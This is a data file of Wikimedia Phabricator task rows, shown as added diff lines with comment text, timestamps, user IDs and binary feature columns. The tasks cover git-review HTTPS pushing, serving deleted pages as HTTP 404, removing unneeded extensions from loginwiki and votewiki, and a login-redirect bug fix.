+- fix the git review tool itself, which is not part of git core, 
+or
+- find or write another tool that makes it comfortable to do but does not have this limitation
+
+so this is not a bug against gerrit, but just against the git review tool that we recommend to use, but you don't have to use it.
+
+hope that helped",,,1389635705,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+273617,make git-review support pushing via https,"(In reply to comment #0)
+> Currently, its not possible to push to gerrit using https method.
+
+Yes it is.
+
+> Since people with internet on which port 29418 is blocked can't access it
+> through ssh, it makes a hard time to contribute, so it would better to have
+> an
+> alternative.
+
+That's bug 35611.
+
+> Also git review doesn't work with https.
+
+git-review is awful :(",,,1389281152,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+273608,make git-review support pushing via https,"I'd like to reopen it because i suggested to create it. reasoning: there are probably quite a few users who are behind firewalls that don't allow them to connect to the high gerrit port. And there seem to be at least some theoretical solutions, like:
+
+ login gerrit-server-host -> settings -> http password -> generate password.
+
+https://groups.google.com/forum/#!topic/repo-discuss/7BXB_t7cHs8
+
+just curious if that has ever been considered before, pls CC: demon",,,1389267706,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,1,1
+273602,make git-review support pushing via https,"But still it would be easier to push through git-review, and https is not possible with it.",,,1389266607,,PHID-USER-6gf5fwj6udg2l2zv5amf,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+273599,make git-review support pushing via https,https://www.mediawiki.org/wiki/Gerrit already links to https://tools.wmflabs.org/gerrit-patch-uploader/,,,1389265815,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+61733,Deleted pages should be served as HTTP 404 instead of HTTP 200,"The ""this page has been deleted"" message should be served as HTTP 404 (note: not HTTP 410, as in WONTFIXed bug {T14345}, which implies that the resource will never come back - that is not necessarily true for deleted pages).
+
+Related: the 2014 discussion [[https://en.wikipedia.org/w/index.php?title=Wikipedia:Biographies_of_living_persons/Noticeboard&oldid=589460695#Does_the_statement_.22A_page_with_this_title_has_previously_been_deleted.22_create_a_BLP_problem.3F|Wikipedia:Biographies of living persons/Noticeboard#Does the statement ""A page with this title has previously been deleted"" create a BLP problem?]], regarding potential consequences of the ""this page has been deleted"" message appearing in search results for living persons.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: minor",Low,25.0,1389032040,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,False,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_description,open,True,c3,1,False,False,,-78,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,1
+265668,Deleted pages should be served as HTTP 404 instead of HTTP 200,"I wasn't aware of that change - good to know - but no, mainspace (and presumably other namespace) pages.",,,1389694792,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+265665,Deleted pages should be served as HTTP 404 instead of HTTP 200,Are you talking about user pages? That was changed to always return HTTP 200 (excepted unknown and blocked users) to allow use of the url as OpenID.,,,1389522549,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+265661,Deleted pages should be served as HTTP 404 instead of HTTP 200,"Ah, thanks! I misread.",,,1389283043,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+265656,Deleted pages should be served as HTTP 404 instead of HTTP 200,"Hi Andre, I've changed the title again as the pages aren't currently being served as 410. :)",,,1389281317,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-yiiwgfkfdpsxxe6q3dxt,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+61702,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"https://login.wikimedia.org/wiki/Special:Version
+https://vote.wikimedia.org/wiki/Special:Version
+
+Lots of installed extensions on loginwiki/votewiki... not sure most are needed.
+
+--------------------------
+**See Also**: {T61701}",Low,25.0,1388965920,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ij3hmsszlnhzkqojakbw,task_description,open,True,c3,1,True,False,,-78,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1
+2353750,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),Changed status back. Misclick.,,,1718042473,,PHID-USER-pxw24c4mvyhxmkoqdot3,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,466,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+2267054,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Listing more extensions not named above that appear in Special:Versions and seem to me to not be needed at loginwiki:
+ - 3D
+ - CodeEditor
+ - CodeMirror
+ - ElectronPdfService
+ - Global Usage
+ - Kartographer
+ - MediaModeration
+ - RevisionSlider
+ - TemplateStyles
+ - TextExtracts
+ - TwoColConflict
+and maybe others.",,,1706524491,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,447,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,0
+686906,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),Graph and Disambiguator can go away right now.,,,1467308877,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+686897,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#2112927, @Legoktm wrote:
+>>>! In T61702#1493469, @Krenair wrote:
+>> So that leaves me with this list:
+>> [..]
+
+I'd keep Interwiki and SiteMatrix. These seem useful entry points to have. Especially because votewiki and loginwiki are themselves listed in SiteMatrix (e.g. when queried on metawiki).",,,1467308349,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,1
+628712,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),We need to keep confirmedit so the login form shows captchas after 3 failed attempts to log in.,,,1457818142,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,36,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+628658,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#2114540, @JEumerus wrote:
+> Regarding TitleBlacklist and AbuseFilter, are they needed to block account creations?
+
+Accounts cannot be directly created by IPs at loginwiki and autocreations are not disallowed by TBL on Wikimedia wikis so it doesn't really change anything there.",,,1457796210,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,36,True,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+628619,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Regarding TitleBlacklist and AbuseFilter, are they needed to block account creations?",,,1457784411,,PHID-USER-cr5rnyhox7s3fl5at22e,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,36,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+628251,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1493469, @Krenair wrote:
+> So that leaves me with this list:
+> * GlobalRenameQueue
+> * GlobalRenameRequest
+> * Interwiki
+> * OAIRepository
+> * SiteMatrix
+> * Disambiguator
+> * Graph
+> * CharInsert
+> * Abuse Filter
+> * ConfirmEdit, FancyCaptcha
+> * SpamBlacklist
+> * TitleBlacklist
+> * TorBlock
+
+We can get rid of all of these. The anti-abuse ones aren't needed because users can't actually do anything on loginwiki.",,,1457726593,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,36,True,1,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1
+533426,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1493469, @Krenair wrote:
+> * OAIRepository
+
+That's being deprecated via T70867, so I wouldn't worry about it here.",,,1443029847,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+528472,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1644746, @Aklapper wrote:
+> So next step is that someone takes a closer look if those remaining extensions are actually needed?
+
+Lego did wrt centralauth/SUL/etc.
+
+I'd love if @csteipp could do the next round of review/give +1/-1 to removing them.
+
+No major rush, afaict.",,,1442416172,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,1,0,1
+528396,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1493469, @Krenair wrote:
+> So that leaves me with this list:
+> [...]
+
+So next step is that someone takes a closer look if those remaining extensions are actually needed?",,,1442409719,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,1,0,1
+499263,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"So that leaves me with this list:
+* GlobalRenameQueue
+* GlobalRenameRequest
+* Interwiki
+* OAIRepository
+* SiteMatrix
+* Disambiguator
+* Graph
+* CharInsert
+* Abuse Filter
+* ConfirmEdit, FancyCaptcha
+* SpamBlacklist
+* TitleBlacklist
+* TorBlock",,,1438213231,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+499257,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1464570, @Legoktm wrote:
+>> * Abuse Filter
+>> * ConfirmEdit, FancyCaptcha
+>> * SpamBlacklist
+>> * TitleBlacklist
+>> * TorBlock?
+> 
+> Do we allow people to directly create accounts on loginwiki? If so, these are necessary.
+
+No, only administrators can create accounts directly on loginwiki.",,,1438213017,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+499251,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Change 225840 merged by jenkins-bot:
+Disable a bunch of extensions on loginwiki/votewiki
+
+[[https://gerrit.wikimedia.org/r/225840]]",,,1438212568,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+493749,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1464553, @Krenair wrote:
+> * UserMerge
+
+Necessary for global user merge.
+
+> * Abuse Filter
+> * ConfirmEdit, FancyCaptcha
+> * SpamBlacklist
+> * TitleBlacklist
+> * TorBlock?
+
+Do we allow people to directly create accounts on loginwiki? If so, these are necessary.
+
+> * AccountAudit
+
+Being undeployed in {T105894}, lets take care of it as part of that.
+
+> * GlobalRenameQueue	
+> * GlobalRenameRequest
+
+Can be disabled.
+
+> * MergeAccount
+
+Part of CentralAuth, which is necessary.
+
+> * Renameuser	
+> * Renameuser for CentralAuth
+
+Both necessary for GlobalRename to work properly.",,,1437363374,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+493745,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Also, probably don't need these
+* Interwiki
+* OAIRepository
+* Random root page
+* SiteMatrix
+* UserMerge
+* Abuse Filter
+* ConfirmEdit, FancyCaptcha
+* SpamBlacklist
+* TitleBlacklist
+* AccountAudit
+* Disambiguator
+* Graph
+
+Not sure about these:
+* GlobalRenameQueue	
+* GlobalRenameRequest
+* MergeAccount
+* Renameuser	
+* Renameuser for CentralAuth
+* CharInsert?
+* TorBlock?
+
+It feels like I've just listed like all of Special:Version on loginwiki. Chris, do you think we need any of these?",,,1437362341,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+493738,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Change 225840 had a related patch set uploaded (by Alex Monk):
+Disable a bunch of extensions on loginwiki/votewiki
+
+[[https://gerrit.wikimedia.org/r/225840]]
+",,,1437361000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+396758,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"<Glaisher> Krenair: disabling Parsoid at loginwiki won't break anything, right?
+<Krenair> Glaisher, I can't think of why it would...",,,1420732558,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-25,True,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+395775,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#957670, @Glaisher wrote:
+> needs to be disabled?
+>   - TemplateData
+>   - CentralNotice
+>   - UniversalLanguageSelector
+>   - ParserFunctions
+>   - Disambiguator
+>   - PagedTiffHandler
+
+None of those should be needed",,,1420563456,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1
+395774,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"needs to be disabled?
+  - TemplateData
+  - CentralNotice
+  - UniversalLanguageSelector
+  - ParserFunctions
+  - Disambiguator
+  - PagedTiffHandler",,,1420563258,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+263960,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"(In reply to comment #1)
+
+Also related:
+
+* https://gerrit.wikimedia.org/r/105623
+* https://gerrit.wikimedia.org/r/105624
+* https://gerrit.wikimedia.org/r/105627
+* https://gerrit.wikimedia.org/r/105628
+* https://gerrit.wikimedia.org/r/105630
+* https://gerrit.wikimedia.org/r/105632",,,1388973594,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+263953,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),Related: https://gerrit.wikimedia.org/r/105622,,,1388966441,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+60558,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,"At some point a regression was introduced in the login path. The app used to redirect the user to the URL they initial specified before they were redirected to the login screen. The user seems to always be redirected to the default page now.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1387244220,1388035605.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-jcaupbxiop5wftgva7q4,task_description,resolved,True,c3,1,True,False,True,-81,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+269216,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,"Change 102969 merged by jenkins-bot:
+Store full URL in session when redirecting to login form
+
+https://gerrit.wikimedia.org/r/102969",,,1387567498,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jcaupbxiop5wftgva7q4,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
